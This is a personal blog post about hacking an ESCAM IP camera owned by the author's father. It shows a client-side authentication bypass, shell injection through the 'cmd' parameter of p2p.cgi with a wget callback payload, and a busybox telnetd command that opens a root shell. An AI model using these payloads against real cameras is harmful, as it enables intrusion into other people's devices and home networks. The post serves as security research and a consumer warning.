My father recently got an ESCAM ip camera that he bought on Ebay. Having heard bad things about the security of these cameras before, I wanted to have a look at this one for myself.

The camera I hackedIt didn't take long before I found the first vulnerability. Without more than the Firefox developer tools, I got a hint, when the response for a failed login attempt was just:

var check = "0";
var authLevel = "0";

Could it really be as simple as changing the response, and setting the authLevel client side? I didn't do any more digging into the (horribly messy) Javascript files, and fired up Burp Suite's proxy instead. After turning on intercepting requests and responses, I tried to log in again, and changed check to "1" and authLevel to "255" (which was what I observed would happen after a valid login).

Admin panel

And as expected, it let me in.

After getting access to the admin panel, I started looking for more weaknesses. Before long, I noticed a cgi script called "p2p.cgi", that was called with a get parameter "cmd". I replaced the existing "cmd" value with a subshell (%24 is $ url encoded, so it's really $(ls)):


Hmm, no errors. Interesting. Next, I started a web server on my computer.

python -m http.server

Then I went back to the admin panel of the IP camera, and replaced the "cmd" with this (not URL encoded here for clarity):

$(wget http://[...]:8000/)

And then, I watched my Python server receive an incoming request:

python -m http.server
Serving HTTP on port 8000 ...
[...] - - [06/May/2016 14:40:20] "GET / HTTP/1.1" 200 -

Shell injection, confirmed!

From there, I started running other commands to explore the file system, and specs of the computer inside.

After some poking around, I found out that I could just spawn busybox, and connect to it with telnet, to gain full access to the system as root. Injecting the following,

/bin/busybox telnetd -l/bin/sh -p 9090

I could simply run telnet [...] 9090, and BOOM! I was in. Here's some information about the system that you might find interesting:

# cat /proc/version
Linux version 3.0.8 (bt@vvvsvr) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #2 Thu Sep 18 00:48:29 CST 2014

# cat /proc/cpuinfo
Processor       : ARM926EJ-S rev 5 (v5l)
BogoMIPS        : 218.72
Features        : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5

Hardware        : hi3518
Revision        : 0000
Serial          : 0000000000000000

# df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                11.3M     10.7M    588.0K  95% /
tmpfs                    34.4M      4.0K     34.4M   0% /dev
tmpfs                     3.0M      1.6M      1.4M  53% /tmpfs
tmpfs                     9.0M         0      9.0M   0% /tmpfs2
/dev/mtdblock3            1.0M    324.0K    700.0K  32% /mnt/config

# free
              total         used         free       shared      buffers
  Mem:        70392        51448        18944            0            0
 Swap:            0            0            0
Total:        70392        51448        18944

I hope you found this post interesting, but remember: Don't break into systems you don't own, or have permission to hack on!

This hack was carried out so that I could verify that the camera didn't connect to services outside our network, without us knowing. As long as you don't enable DDNS, and only use the camera locally, you should be safe (enough). I did not inspect the email scripts, ftp upload scripts or any of that, but I would avoid using them. Everything seems to be stored in plain text, and easily available, including your WiFi login. In fact the WiFi login is available by right clicking on the login page, going to "View source", and under /cgi-bin/getwifiattr.cgi.

The image quality is good, though.